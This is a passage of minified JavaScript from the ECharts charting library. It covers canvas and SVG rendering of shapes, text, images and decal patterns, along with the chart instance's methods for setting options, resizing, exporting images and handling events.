parseInt(t,10)}function Kv(t,e,n){var r=["width","height"][e],i=["clientWidth","clientHeight"][e],o=["paddingLeft","paddingTop"][e],a=["paddingRight","paddingBottom"][e];if(null!=n[r]&&"auto"!==n[r])return parseFloat(n[r]);var s=document.defaultView.getComputedStyle(t);return(t[i]||jv(s[r])||jv(t.style[r]))-(jv(s[o])||0)-(jv(s[a])||0)||0}function $v(t){var e,n,r=t.style,i=r.lineDash&&r.lineWidth>0&&(e=r.lineDash,n=r.lineWidth,e&&"solid"!==e&&n>0?"dashed"===e?[4*n,2*n]:"dotted"===e?[n]:Z(e)?[e]:U(e)?e:null:null),o=r.lineDashOffset;if(i){var a=r.strokeNoScale&&t.getLineScale?t.getLineScale():1;a&&1!==a&&(i=B(i,function(t){return t/a}),o/=a)}return[i,o]}var Qv=new Ns(!0);function Jv(t){var e=t.stroke;return!(null==e||"none"===e||!(t.lineWidth>0))}function ty(t){return"string"==typeof t&&"none"!==t}function ey(t){var e=t.fill;return null!=e&&"none"!==e}function ny(t,e){if(null!=e.fillOpacity&&1!==e.fillOpacity){var n=t.globalAlpha;t.globalAlpha=e.fillOpacity*e.opacity,t.fill(),t.globalAlpha=n}else t.fill()}function ry(t,e){if(null!=e.strokeOpacity&&1!==e.strokeOpacity){var n=t.globalAlpha;t.globalAlpha=e.strokeOpacity*e.opacity,t.stroke(),t.globalAlpha=n}else t.stroke()}function iy(t,e,n){var r=Ia(e.image,e.__image,n);if(Aa(r)){var i=t.createPattern(r,e.repeat||"repeat");if("function"==typeof DOMMatrix&&i&&i.setTransform){var o=new DOMMatrix;o.translateSelf(e.x||0,e.y||0),o.rotateSelf(0,0,(e.rotation||0)*wt),o.scaleSelf(e.scaleX||1,e.scaleY||1),i.setTransform(o)}return i}}var oy=["shadowBlur","shadowOffsetX","shadowOffsetY"],ay=[["lineCap","butt"],["lineJoin","miter"],["miterLimit",10]];function sy(t,e,n,r,i){var o=!1;if(!r&&e===(n=n||{}))return!1;if(r||e.opacity!==n.opacity){cy(t,i),o=!0;var a=Math.max(Math.min(e.opacity,1),0);t.globalAlpha=isNaN(a)?Ka.opacity:a}(r||e.blend!==n.blend)&&(o||(cy(t,i),o=!0),t.globalCompositeOperation=e.blend||Ka.blend);for(var s=0;s<oy.length;s++){var l=oy[s];(r||e[l]!==n[l])&&(o||(cy(t,i),o=!0),t[l]=t.dpr*(e[l]||0))}return(r||e.shadowColor!==n.shadowColor)&&(o||(cy(t,i),o=!0),t.shadowColor=e.shadowColor||Ka.shadowColor),o}function ly(t,e,n,r,i){var o=e.style,a=r?null:n&&n.style||{};if(o===a)return!1;var s=sy(t,o,a,r,i);if((r||o.fill!==a.fill)&&(s||(cy(t,i),s=!0),ty(o.fill)&&(t.fillStyle=o.fill)),(r||o.stroke!==a.stroke)&&(s||(cy(t,i),s=!0),ty(o.stroke)&&(t.strokeStyle=o.stroke)),(r||o.opacity!==a.opacity)&&(s||(cy(t,i),s=!0),t.globalAlpha=null==o.opacity?1:o.opacity),e.hasStroke()){var l=o.lineWidth/(o.strokeNoScale&&e.getLineScale?e.getLineScale():1);t.lineWidth!==l&&(s||(cy(t,i),s=!0),t.lineWidth=l)}for(var u=0;u<ay.length;u++){var c=ay[u],h=c[0];(r||o[h]!==a[h])&&(s||(cy(t,i),s=!0),t[h]=o[h]||c[1])}return s}function uy(t,e){var n=e.transform,r=t.dpr||1;n?t.setTransform(r*n[0],r*n[1],r*n[2],r*n[3],r*n[4],r*n[5]):t.setTransform(r,0,0,r,0,0)}function cy(t,e){e.batchFill&&(e.batchFill=!1,t.fill()),e.batchStroke&&(e.batchStroke=!1,t.stroke())}function hy(t,e){var n={inHover:!1,viewWidth:0,viewHeight:0,beforeBrushParam:{}};fy(t,e,n),py(t,n)}function fy(t,e,n){var r=e.transform;if(!e.shouldBePainted(n.viewWidth,n.viewHeight,!1,!1))return e.__dirty&=-2,void(e.__isRendered=!1);var i=e.__clipPaths,a=n.prevElClipPaths,s=e.style,l=!1,u=!1;if(a&&!function(t,e){if(t===e||!t&&!e)return!1;if(!t||!e||t.length!==e.length)return!0;for(var n=0;n<t.length;n++)if(t[n]!==e[n])return!0;return!1}(i,a)||(a&&(cy(t,n),t.restore(),u=l=!0,n.prevElClipPaths=null,n.allClipped=!1,n.prevEl=null),i&&i.length&&(cy(t,n),t.save(),function(t,e,n){for(var r=!1,i=0;i<t.length;i++){var o=t[i];r=r||o.isZeroArea(),uy(e,o),e.beginPath(),o.buildPath(e,o.shape),e.clip()}n.allClipped=r}(i,t,n),l=!0,n.prevElClipPaths=i)),n.allClipped)return e.__dirty&=-2,void(e.__isRendered=!1);e.beforeBrush&&e.beforeBrush(n.beforeBrushParam),e.innerBeforeBrush();var c=n.prevEl;c||(u=l=!0);var h,f,p=e instanceof nl&&e.autoBatch&&function(t){var e=ey(t),n=Jv(t);return!(t.lineDash||!(+e^+n)||e&&"string"!=typeof t.fill||n&&"string"!=typeof t.stroke||t.strokePercent<1||t.strokeOpacity<1||t.fillOpacity<1)}(s);l||(h=r,f=c.transform,h&&f?h[0]!==f[0]||h[1]!==f[1]||h[2]!==f[2]||h[3]!==f[3]||h[4]!==f[4]||h[5]!==f[5]:h||f)?(cy(t,n),uy(t,e)):p||cy(t,n),e instanceof nl?(1!==n.lastDrawType&&(u=!0,n.lastDrawType=1),ly(t,e,c,u,n),p&&(n.batchFill||n.batchStroke)||t.beginPath(),function(t,e,n,r,i){var o,a=Jv(n),s=ey(n),l=n.strokePercent,u=l<1,c=!e.path;e.silent&&!u||!c||e.createPathProxy();var h=e.path||Qv,f=e.__dirty;if(!r){var p=n.fill,d=n.stroke,g=s&&!!p.colorStops,v=a&&!!d.colorStops,y=s&&!!p.image,m=a&&!!d.image,_=void 0,x=void 0,b=void 0,w=void 0,S=void 0;(g||v)&&(S=e.getBoundingRect()),g&&(_=f?Zv(t,p,S):e.__canvasFillGradient,e.__canvasFillGradient=_),v&&(x=f?Zv(t,d,S):e.__canvasStrokeGradient,e.__canvasStrokeGradient=x),y&&(b=f||!e.__canvasFillPattern?iy(t,p,e):e.__canvasFillPattern,e.__canvasFillPattern=b),m&&(w=f||!e.__canvasStrokePattern?iy(t,d,e):e.__canvasStrokePattern,e.__canvasStrokePattern=w),g?t.fillStyle=_:y&&(b?t.fillStyle=b:s=!1),v?t.strokeStyle=x:m&&(w?t.strokeStyle=w:a=!1)}var M,T,k=e.getGlobalScale();h.setScale(k[0],k[1],e.segmentIgnoreThreshold),t.setLineDash&&n.lineDash&&(M=(o=$v(e))[0],T=o[1]);var C=!0;(c||4&f)&&(h.setDPR(t.dpr),u?h.setContext(null):(h.setContext(t),C=!1),h.reset(),e.buildPath(h,e.shape,r),h.toStatic(),e.pathUpdated()),C&&h.rebuildPath(t,u?l:1),M&&(t.setLineDash(M),t.lineDashOffset=T),r?(i.batchFill=s,i.batchStroke=a):n.strokeFirst?(a&&ry(t,n),s&&ny(t,n)):(s&&ny(t,n),a&&ry(t,n)),M&&t.setLineDash([])}(t,e,s,p,n)):e instanceof il?(3!==n.lastDrawType&&(u=!0,n.lastDrawType=3),ly(t,e,c,u,n),function(t,e,n){var r,i=n.text;if(null!=i&&(i+=""),i){t.font=n.font||o,t.textAlign=n.textAlign,t.textBaseline=n.textBaseline;var a=void 0,s=void 0;t.setLineDash&&n.lineDash&&(a=(r=$v(e))[0],s=r[1]),a&&(t.setLineDash(a),t.lineDashOffset=s),n.strokeFirst?(Jv(n)&&t.strokeText(i,n.x,n.y),ey(n)&&t.fillText(i,n.x,n.y)):(ey(n)&&t.fillText(i,n.x,n.y),Jv(n)&&t.strokeText(i,n.x,n.y)),a&&t.setLineDash([])}}(t,e,s)):e instanceof sl?(2!==n.lastDrawType&&(u=!0,n.lastDrawType=2),function(t,e,n,r,i){sy(t,e.style,n&&n.style,r,i)}(t,e,c,u,n),function(t,e,n){var r=e.__image=Ia(n.image,e.__image,e,e.onload);if(r&&Aa(r)){var i=n.x||0,o=n.y||0,a=e.getWidth(),s=e.getHeight(),l=r.width/r.height;if(null==a&&null!=s?a=s*l:null==s&&null!=a?s=a/l:null==a&&null==s&&(a=r.width,s=r.height),n.sWidth&&n.sHeight){var u=n.sx||0,c=n.sy||0;t.drawImage(r,u,c,n.sWidth,n.sHeight,i,o,a,s)}else if(n.sx&&n.sy){var h=a-(u=n.sx),f=s-(c=n.sy);t.drawImage(r,u,c,h,f,i,o,a,s)}else t.drawImage(r,i,o,a,s)}}(t,e,s)):e.getTemporalDisplayables&&(4!==n.lastDrawType&&(u=!0,n.lastDrawType=4),function(t,e,n){var r=e.getDisplayables(),i=e.getTemporalDisplayables();t.save();var o,a,s={prevElClipPaths:null,prevEl:null,allClipped:!1,viewWidth:n.viewWidth,viewHeight:n.viewHeight,inHover:n.inHover,beforeBrushParam:{}};for(o=e.getCursor(),a=r.length;o<a;o++){(c=r[o]).beforeBrush&&c.beforeBrush(n.beforeBrushParam),c.innerBeforeBrush(),fy(t,c,s),c.innerAfterBrush(),c.afterBrush&&c.afterBrush(),s.prevEl=c}py(t,s);for(var l=0,u=i.length;l<u;l++){var c;(c=i[l]).beforeBrush&&c.beforeBrush(n.beforeBrushParam),c.innerBeforeBrush(),fy(t,c,s),c.innerAfterBrush(),c.afterBrush&&c.afterBrush(),s.prevEl=c}py(t,s),e.clearTemporalDisplayables(),e.notClear=!0,t.restore()}(t,e,n)),e.innerAfterBrush(),e.afterBrush&&(p&&cy(t,n),e.afterBrush()),n.prevEl=e,e.__dirty=0,e.__isRendered=!0}function py(t,e){cy(t,e),e.prevElClipPaths&&t.restore()}var dy=new Ev,gy=new Wn(100),vy=["symbol","symbolSize","symbolKeepAspect","color","backgroundColor","dashArrayX","dashArrayY","maxTileWidth","maxTileHeight"];function yy(t,e){if("none"===t)return null;var n=e.getDevicePixelRatio(),r=e.getZr(),i="svg"===r.painter.type;t.dirty&&dy.delete(t);var o=dy.get(t);if(o)return o;var a=A(t,{symbol:"rect",symbolSize:1,symbolKeepAspect:!0,color:"rgba(0, 0, 0, 0.2)",backgroundColor:null,dashArrayX:5,dashArrayY:5,rotation:0,maxTileWidth:512,maxTileHeight:512});"none"===a.backgroundColor&&(a.backgroundColor=null);var s={repeat:"repeat"};return function(t){for(var e,o=[n],s=!0,l=0;l<vy.length;++l){var c=a[vy[l]];if(null!=c&&!U(c)&&!Y(c)&&!Z(c)&&"boolean"!=typeof c){s=!1;break}o.push(c)}if(s){e=o.join(",")+(i?"-svg":"");var h=gy.get(e);h&&(i?t.svgElement=h:t.image=h)}var f,p=_y(a.dashArrayX),d=function(t){if(!t||"object"==typeof t&&0===t.length)return[0,0];if(Z(t)){var e=Math.ceil(t);return[e,e]}var n=B(t,function(t){return Math.ceil(t)});return t.length%2?n.concat(n):n}(a.dashArrayY),g=my(a.symbol),v=(b=p,B(b,function(t){return xy(t)})),y=xy(d),m=!i&&u.createCanvas(),_=i&&{tag:"g",attrs:{},key:"dcl",children:[]},x=function(){for(var t=1,e=0,n=v.length;e<n;++e)t=ko(t,v[e]);var r=1;for(e=0,n=g.length;e<n;++e)r=ko(r,g[e].length);t*=r;var i=y*v.length*g.length;return{width:Math.max(1,Math.min(t,a.maxTileWidth)),height:Math.max(1,Math.min(i,a.maxTileHeight))}}();var b;m&&(m.width=x.width*n,m.height=x.height*n,f=m.getContext("2d"));(function(){f&&(f.clearRect(0,0,m.width,m.height),a.backgroundColor&&(f.fillStyle=a.backgroundColor,f.fillRect(0,0,m.width,m.height)));for(var t=0,e=0;e<d.length;++e)t+=d[e];if(t<=0)return;var o=-y,s=0,l=0,u=0;for(;o<x.height;){if(s%2==0){for(var c=l/2%g.length,h=0,v=0,b=0;h<2*x.width;){var w=0;for(e=0;e<p[u].length;++e)w+=p[u][e];if(w<=0)break;if(v%2==0){var S=.5*(1-a.symbolSize),M=h+p[u][v]*S,T=o+d[s]*S,k=p[u][v]*a.symbolSize,C=d[s]*a.symbolSize,I=b/2%g[c].length;D(M,T,k,C,g[c][I])}h+=p[u][v],++b,++v===p[u].length&&(v=0)}++u===p.length&&(u=0)}o+=d[s],++l,++s===d.length&&(s=0)}function D(t,e,o,s,l){var u=i?1:n,c=Xv(l,t*u,e*u,o*u,s*u,a.color,a.symbolKeepAspect);if(i){var h=r.painter.renderOneToVNode(c);h&&_.children.push(h)}else hy(f,c)}})(),s&&gy.put(e,m||_);t.image=m,t.svgElement=_,t.svgWidth=x.width,t.svgHeight=x.height}(s),s.rotation=a.rotation,s.scaleX=s.scaleY=i?1:1/n,dy.set(t,s),t.dirty=!1,s}function my(t){if(!t||0===t.length)return[["rect"]];if(Y(t))return[[t]];for(var e=!0,n=0;n<t.length;++n)if(!Y(t[n])){e=!1;break}if(e)return my([t]);var r=[];for(n=0;n<t.length;++n)Y(t[n])?r.push([t[n]]):r.push(t[n]);return r}function _y(t){if(!t||0===t.length)return[[0,0]];if(Z(t))return[[i=Math.ceil(t),i]];for(var e=!0,n=0;n<t.length;++n)if(!Z(t[n])){e=!1;break}if(e)return _y([t]);var r=[];for(n=0;n<t.length;++n)if(Z(t[n])){var i=Math.ceil(t[n]);r.push([i,i])}else{(i=B(t[n],function(t){return Math.ceil(t)})).length%2==1?r.push(i.concat(i)):r.push(i)}return r}function xy(t){for(var e=0,n=0;n<t.length;++n)e+=t[n];return t.length%2==1?2*e:e}var by=pa(function(t,e){t.eachRawSeries(function(n){if(!t.isSeriesFiltered(n)){var r=n.getData();r.hasItemVisual()&&r.each(function(t){var n=r.getItemVisual(t,"decal");n&&(r.ensureUniqueItemVisual(t,"style").decal=yy(n,e))});var i=r.getVisual("decal");if(i)r.getVisual("style").decal=yy(i,e)}})});var wy=2e3,Sy=4500,My={PROCESSOR:{SERIES_FILTER:800,AXIS_STATISTICS:920,FILTER:1e3,STATISTIC:5e3,STATISTICS:5e3},VISUAL:{LAYOUT:1e3,PROGRESSIVE_LAYOUT:1100,GLOBAL:wy,CHART:3e3,POST_CHART_LAYOUT:4600,COMPONENT:4e3,BRUSH:5e3,CHART_ITEM:Sy,ARIA:6e3,DECAL:7e3}},Ty="__flagInMainProcess",ky="__mainProcessVersion",Cy="__pendingUpdate",Iy="__needsUpdateStatus",Dy=/^[a-zA-Z0-9_]+$/,Ay="__connectUpdateStatus";function Ly(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];if(!this.isDisposed())return Oy(this,t,e);im(this.id)}}function Py(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return Oy(this,t,e)}}function Oy(t,e,n){return n[0]=n[0]&&n[0].toLowerCase(),qt.prototype[e].apply(t,n)}var Ry,Ny,Ey,By,zy,Fy,Vy,Hy,Wy,Gy,Uy,Xy,Yy,qy,Zy,jy,Ky,$y,Qy,Jy=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e}(qt),tm=Jy.prototype;tm.on=Py("on"),tm.off=Py("off");var em=function(t){function e(e,n,r){var i=t.call(this,new wv)||this;i._chartsViews=[],i._chartsMap={},i._componentsViews=[],i._componentsMap={},i._pendingActions=[],r=r||{},i.__v_skip=!0,i._dom=e;var o="canvas",a="auto",s=!1;i[ky]=1,r.ssr&&Ui(function(t){var e=Dl(t),n=e.dataIndex;if(null!=n){var r=vt();return r.set("series_index",e.seriesIndex),r.set("data_index",n),e.ssrType&&r.set("ssr_type",e.ssrType),r}});var l=i._zr=Wi(e,{renderer:r.renderer||o,devicePixelRatio:r.devicePixelRatio,width:r.width,height:r.height,ssr:r.ssr,useDirtyRect:it(r.useDirtyRect,s),useCoarsePointer:it(r.useCoarsePointer,a),pointerSize:r.pointerSize});i._ssr=r.ssr,i._throttledZrFlush=Ug(W(l.flush,l),17),i._updateTheme(n),i._locale=function(t){if(Y(t)){var e=af[t.toUpperCase()]||{};return t===nf||t===rf?k(e):C(k(e),k(af[of]),!1)}return C(k(t),k(af[of]),!1)}(r.locale||lf),i._coordSysMgr=new tp;var u=i._api=Zy(i);function c(t,e){return t.__prio-e.__prio}return ln(cm,c),ln(lm,c),i._scheduler=new ev(i,u,lm,cm),i._messageCenter=new Jy,i._initEvents(),i.resize=W(i.resize,i),l.animation.on("frame",i._onframe,i),Gy(l,i),Uy(l,i),ht(i),i}return n(e,t),e.prototype._onframe=function(){if(!this._disposed){var t=this._scheduler,e=this._model,n=this._api;if($y(this),this[Cy]){var r=this[Cy].silent;this[Ty]=!0,Qy(this);try{Ry(this),By.update.call(this,null,this[Cy].updateParams)}catch(t){throw this[Ty]=!1,this[Cy]=null,t}this._zr.flush(),this[Ty]=!1,this[Cy]=null,Hy.call(this,r),Wy.call(this,r)}else if(t.unfinished){var i=1;do{t.unfinished=!1;var o=u.getTime();t.performSeriesTasks(e),t.performDataProcessorTasks(e),Fy(this,e),t.performVisualTasks(e),qy(this,this._model,n,"remain",{}),i-=u.getTime()-o}while(i>0&&t.unfinished);t.unfinished||this._zr.flush()}}},e.prototype.getDom=function(){return this._dom},e.prototype.getId=function(){return this.id},e.prototype.getZr=function(){return this._zr},e.prototype.isSSR=function(){return this._ssr},e.prototype.setOption=function(t,e,n){if(!this[Ty])if(this._disposed)im(this.id);else{var r,i,o;if(j(e)&&(n=e.lazyUpdate,r=e.silent,i=e.replaceMerge,o=e.transition,e=e.notMerge),this[Ty]=!0,Qy(this),!this._model||e){var a=new Kp(this._api),s=this._theme,l=this._model=new Xp;l.scheduler=this._scheduler,l.ssr=this._ssr,l.init(null,null,null,s,this._locale,a)}this._model.setOption(t,{replaceMerge:i},um);var u={seriesTransition:o,optionChanged:!0};if(n)this[Cy]={silent:r,updateParams:u},this[Ty]=!1,this.getZr().wakeUp();else{try{Ry(this),By.update.call(this,null,u)}catch(t){throw this[Cy]=null,this[Ty]=!1,t}this._ssr||this._zr.flush(),this[Cy]=null,this[Ty]=!1,Hy.call(this,r),Wy.call(this,r)}}},e.prototype.setTheme=function(t,e){if(!this[Ty])if(this._disposed)im(this.id);else{var n=this._model;if(n){var r=e&&e.silent,i=null;this[Cy]&&(null==r&&(r=this[Cy].silent),i=this[Cy].updateParams,this[Cy]=null),this[Ty]=!0,Qy(this);try{this._updateTheme(t),n.setTheme(this._theme),Ry(this),By.update.call(this,{type:"setTheme"},i)}catch(t){throw this[Ty]=!1,t}this[Ty]=!1,Hy.call(this,r),Wy.call(this,r)}}},e.prototype._updateTheme=function(t){Y(t)&&(t=hm[t]),t&&((t=k(t))&&yd(t,!0),this._theme=t)},e.prototype.getModel=function(){return this._model},e.prototype.getOption=function(){return this._model&&this._model.getOption()},e.prototype.getWidth=function(){return this._zr.getWidth()},e.prototype.getHeight=function(){return this._zr.getHeight()},e.prototype.getDevicePixelRatio=function(){return this._zr.painter.dpr||i.hasGlobalWindow&&window.devicePixelRatio||1},e.prototype.getRenderedCanvas=function(t){return this.renderToCanvas(t)},e.prototype.renderToCanvas=function(t){t=t||{};var e=this._zr.painter;return e.getRenderedCanvas({backgroundColor:t.backgroundColor||this._model.get("backgroundColor"),pixelRatio:t.pixelRatio||this.getDevicePixelRatio()})},e.prototype.renderToSVGString=function(t){t=t||{};var e=this._zr.painter;return e.renderToString({useViewBox:t.useViewBox})},e.prototype.getSvgDataURL=function(){var t=this._zr;return E(t.storage.getDisplayList(),function(t){t.stopAnimation(null,!0)}),t.painter.toDataURL()},e.prototype.getDataURL=function(t){if(!this._disposed){var e=(t=t||{}).excludeComponents,n=this._model,r=[],i=this;E(e,function(t){n.eachComponent({mainType:t},function(t){var e=i._componentsMap[t.__viewId];e.group.ignore||(r.push(e),e.group.ignore=!0)})});var o="svg"===this._zr.painter.getType()?this.getSvgDataURL():this.renderToCanvas(t).toDataURL("image/"+(t&&t.type||"png"));return E(r,function(t){t.group.ignore=!1}),o}im(this.id)},e.prototype.getConnectedDataURL=function(t){if(!this._disposed){var e="svg"===t.type,n=this.group,r=Math.min,i=Math.max,o=1/0;if(dm[n]){var a=o,s=o,l=-1/0,c=-1/0,h=[],f=t&&t.pixelRatio||this.getDevicePixelRatio();E(pm,function(o,u){if(o.group===n){var f=e?o.getZr().painter.getSvgDom().innerHTML:o.renderToCanvas(k(t)),p=o.getDom().getBoundingClientRect();a=r(p.left,a),s=r(p.top,s),l=i(p.right,l),c=i(p.bottom,c),h.push({dom:f,left:p.left,top:p.top})}});var p=(l*=f)-(a*=f),d=(c*=f)-(s*=f),g=u.createCanvas(),v=Wi(g,{renderer:e?"svg":"canvas"});if(v.resize({width:p,height:d}),e){var y="";return E(h,function(t){var e=t.left-a,n=t.top-s;y+='<g transform="translate('+e+","+n+')">'+t.dom+"</g>"}),v.painter.getSvgRoot().innerHTML=y,t.connectedBackgroundColor&&v.painter.setBackgroundColor(t.connectedBackgroundColor),v.refreshImmediately(),v.painter.toDataURL()}return t.connectedBackgroundColor&&v.add(new pl({shape:{x:0,y:0,width:p,height:d},style:{fill:t.connectedBackgroundColor}})),E(h,function(t){var e=new sl({style:{x:t.left*f-a,y:t.top*f-s,image:t.dom}});v.add(e)}),v.refreshImmediately(),g.toDataURL("image/"+(t&&t.type||"png"))}return this.getDataURL(t)}im(this.id)},e.prototype.convertToPixel=function(t,e,n){return zy(this,"convertToPixel",t,e,n)},e.prototype.convertToLayout=function(t,e,n){return zy(this,"convertToLayout",t,e,n)},e.prototype.convertFromPixel=function(t,e,n){return zy(this,"convertFromPixel",t,e,n)},e.prototype.containPixel=function(t,e){var n;if(!this._disposed)return E(Ko(this._model,t),function(t,r){r.indexOf("Models")>=0&&E(t,function(t){var i=t.coordinateSystem;if(i&&i.containPoint)n=n||!!i.containPoint(e);else if("seriesModels"===r){var o=this._chartsMap[t.__viewId];o&&o.containPoint&&(n=n||o.containPoint(e,t))}else 0},this)},this),!!n;im(this.id)},e.prototype.getVisual=function(t,e){var n=Ko(this._model,t,{defaultMainType:"series"}),r=n.seriesModel;var i=r.getData(),o=n.hasOwnProperty("dataIndexInside")?n.dataIndexInside:n.hasOwnProperty("dataIndex")?i.indexOfRawIndex(n.dataIndex):null;return null!=o?function(t,e,n){switch(n){case"color":return t.getItemVisual(e,"style")[t.getVisual("drawType")];case"opacity":return t.getItemVisual(e,"style").opacity;case"symbol":case"symbolSize":case"liftZ":return t.getItemVisual(e,n)}}(i,o,e):function(t,e){switch(e){case"color":return t.getVisual("style")[t.getVisual("drawType")];case"opacity":return t.getVisual("style").opacity;case"symbol":case"symbolSize":case"liftZ":return t.getVisual(e)}}(i,e)},e.prototype.getViewOfComponentModel=function(t){return this._componentsMap[t.__viewId]},e.prototype.getViewOfSeriesModel=function(t){return this._chartsMap[t.__viewId]},e.prototype._initEvents=function(){var t=this;E(rm,function(e){var n=function(n){var r,i=t.getModel(),o=n.target,a="globalout"===e;if(a?r={}:o&&Iv(o,function(t){var e=Dl(t);if(e&&null!=e.dataIndex){var n=e.dataModel||i.getSeriesByIndex(e.seriesIndex);return r=n&&n.getDataParams(e.dataIndex,e.dataType,o)||{},!0}if(e.eventData)return r=I({},e.eventData),!0},!0),r){var s=r.componentType,l=r.componentIndex;"markLine"!==s&&"markPoint"!==s&&"markArea"!==s||(s="series",l=r.seriesIndex);var u=s&&null!=l&&i.getComponent(s,l),c=u&&t["series"===u.mainType?"_chartsMap":"_componentsMap"][u.__viewId];0,r.event=n,r.type=e,t._$eventProcessor.eventInfo={targetEl:o,packedEvent:r,model:u,view:c},t.trigger(e,r)}};n.zrEventfulCallAtLast=!0,t._zr.on(e,n,t)});var e=this._messageCenter;E(sm,function(n,r){e.on(r,function(e){t.trigger(r,e)})}),function(t,e,n){t.on("selectchanged",function(t){var r=n.getModel();t.isFromClick?(Cv("map","selectchanged",e,r,t),Cv("pie","selectchanged",e,r,t)):"select"===t.fromAction?(Cv("map","selected",e,r,t),Cv("pie","selected",e,r,t)):"unselect"===t.fromAction&&(Cv("map","unselected",e,r,t),Cv("pie","unselected",e,r,t))})}(e,this,this._api)},e.prototype.isDisposed=function(){return this._disposed},e.prototype.clear=function(){this._disposed?im(this.id):this.setOption({series:[]},!0)},e.prototype.dispose=function(){if(this._disposed)im(this.id);else{this._disposed=!0,this.getDom()&&ta(this.getDom(),ym,"");var t=this,e=t._api,n=t._model;E(t._componentsViews,function(t){t.dispose(n,e)}),E(t._chartsViews,function(t){t.dispose(n,e)}),t._zr.dispose(),t._dom=t._model=t._chartsMap=t._componentsMap=t._chartsViews=t._componentsViews=t._scheduler=t._api=t._zr=t._throttledZrFlush=t._theme=t._coordSysMgr=t._messageCenter=null,delete pm[t.id]}},e.prototype.resize=function(t){if(!this[Ty])if(this._disposed)im(this.id);else{this._zr.resize(t);var e=this._model;if(this._loadingFX&&this._loadingFX.resize(),e){var n=e.resetOption("media"),r=t&&t.silent;this[Cy]&&(null==r&&(r=this[Cy].silent),n=!0,this[Cy]=null),this[Ty]=!0,Qy(this);try{n&&Ry(this),By.update.call(this,{type:"resize",animation:I({duration:0},t&&t.animation)})}catch(t){throw this[Ty]=!1,t}this[Ty]=!1,Hy.call(this,r),Wy.call(this,r)}}},e.prototype.showLoading=function(t,e){if(this._disposed)im(this.id);else if(j(t)&&(e=t,t=""),t=t||"default",this.hideLoading(),fm[t]){var n=fm[t](this._api,e),r=this._zr;this._loadingFX=n,r.add(n)}},e.prototype.hideLoading=function(){this._disposed?im(this.id):(this._loadingFX&&this._zr.remove(this._loadingFX),this._loadingFX=null)},e.prototype.makeActionFromEvent=function(t){var e=I({},t);return e.type=am[t.type],e},e.prototype.dispatchAction=function(t,e){if(this._disposed)im(this.id);else if(j(e)||(e={silent:!!e}),om[t.type]&&this._model)if(this[Ty])this._pendingActions.push(t);else{var n=e.silent;Vy.call(this,t,n);var r=e.flush;r?this._zr.flush():!1!==r&&i.browser.weChat&&this._throttledZrFlush(),Hy.call(this,n),Wy.call(this,n)}},e.prototype.updateLabelLayout=function(){Dv.trigger("series:layoutlabels",this._model,this._api,{updatedSeries:[]})},e.prototype.appendData=function(t){if(this._disposed)im(this.id);else{var e=t.seriesIndex,n=this.getModel().getSeriesByIndex(e);0,n.appendData(t),this._scheduler.unfinished=!0,this.getZr().wakeUp()}},e.internalField=function(){function t(t){t.clearColorPalette(),t.eachSeries(function(t){t.clearColorPalette()})}function e(t){for(var e=[],n=t.currentStates,r=0;r<n.length;r++){var i=n[r];"emphasis"!==i&&"blur"!==i&&"select"!==i&&e.push(i)}t.selected&&t.states.select&&e.push("select"),2===t.hoverState&&t.states.emphasis?e.push("emphasis"):1===t.hoverState&&t.states.blur&&e.push("blur"),t.useStates(e)}function r(t,e){if(!t.preventAutoZ){var n=function(t){return{z:t.get("z")||0,zlevel:t.get("zlevel")||0}}(t);e.eachRendered(function(t){return Ch(t,n.z,n.zlevel),!0})}}function o(t,e){e.eachRendered(function(t){if(!th(t)){var e=t.getTextContent(),n=t.getTextGuideLine();t.stateTransition&&(t.stateTransition=null),e&&e.stateTransition&&(e.stateTransition=null),n&&n.stateTransition&&(n.stateTransition=null),t.hasState()?(t.prevStates=t.currentStates,t.clearStates()):t.prevStates&&(t.prevStates=null)}})}function a(t,n){var r=t.getModel("stateAnimation"),i=t.isAnimationEnabled(),o=r.get("duration"),a=o>0?{duration:o,delay:r.get("delay"),easing:r.get("easing")}:null;n.eachRendered(function(t){if(t.states&&t.states.emphasis){if(th(t))return;if(t instanceof nl&&function(t){var e=Xl(t);e.normalFill=t.style.fill,e.normalStroke=t.style.stroke;var n=t.states.select||{};e.selectFill=n.style&&n.style.fill||null,e.selectStroke=n.style&&n.style.stroke||null}(t),t.__dirty){var n=t.prevStates;n&&t.useStates(n)}if(i){t.stateTransition=a;var r=t.getTextContent(),o=t.getTextGuideLine();r&&(r.stateTransition=a),o&&(o.stateTransition=a)}t.__dirty&&e(t)}})}Ry=function(t){var e;e=t._model,Pv(e).prepare={};var n=t._scheduler;n.restorePipelines(t._zr,t._model),n.prepareStageTasks(),Ny(t,!0),Ny(t,!1),n.plan()},Ny=function(t,e){for(var n=t._model,r=t._scheduler,i=e?t._componentsViews:t._chartsViews,o=e?t._componentsMap:t._chartsMap,a=t._zr,s=t._api,l=0;l<i.length;l++)i[l].__alive=!1;function u(t){var l=t.__requireNewView;t.__requireNewView=!1;var u="_ec_"+t.id+"_"+t.type,c=!l&&o[u];if(!c){var h=va(t.type),f=e?Rg.getClass(h.main,h.sub):zg.getClass(h.sub);0,(c=new f).init(n,s),o[u]=c,i.push(c),a.add(c.group)}t.__viewId=c.__id=u,c.__alive=!0,c.__model=t,c.group.__ecComponentInfo={mainType:t.mainType,index:t.componentIndex},!e&&r.prepareView(c,t,n,s)}e?n.eachComponent(function(t,e){"series"!==t&&u(e)}):n.eachSeries(u);for(l=0;l<i.length;){var c=i[l];c.__alive?l++:(!e&&c.renderTask.dispose(),a.remove(c.group),c.dispose(n,s),i.splice(l,1),o[c.__id]===c&&delete o[c.__id],c.__id=c.group.__ecComponentInfo=null)}},Ey=function(t,e,n,r,i){var o=t._model;if(o.setUpdatePayload(n),r){var a,s=function(t,e,n){var r={};r[e+"Id"]=t[e+"Id"],r[e+"Index"]=t[e+"Index"],r[e+"Name"]=t[e+"Name"];var i={mainType:e,query:r};return n&&(i.subType=n),i}(n,r,i),l=n.excludeSeriesId;null!=l&&(a=vt(),E(Eo(l),function(t){var e=Uo(t,null);null!=e&&a.set(e,!0)})),o&&o.eachComponent(s,function(e){if(!(a&&null!=a.get(e.id)))if(Eu(n))if(e instanceof kg)n.type!==jl||n.notBlur||e.get(["emphasis","disabled"])||function(t,e,n){var r=t.seriesIndex,i=t.getData(e.dataType);if(i){var o=qo(i,e);o=(U(o)?o[0]:o)||0;var a=i.getItemGraphicEl(o);if(!a)for(var s=i.count(),l=0;!a&&l<s;)a=i.getItemGraphicEl(l++);if(a){var 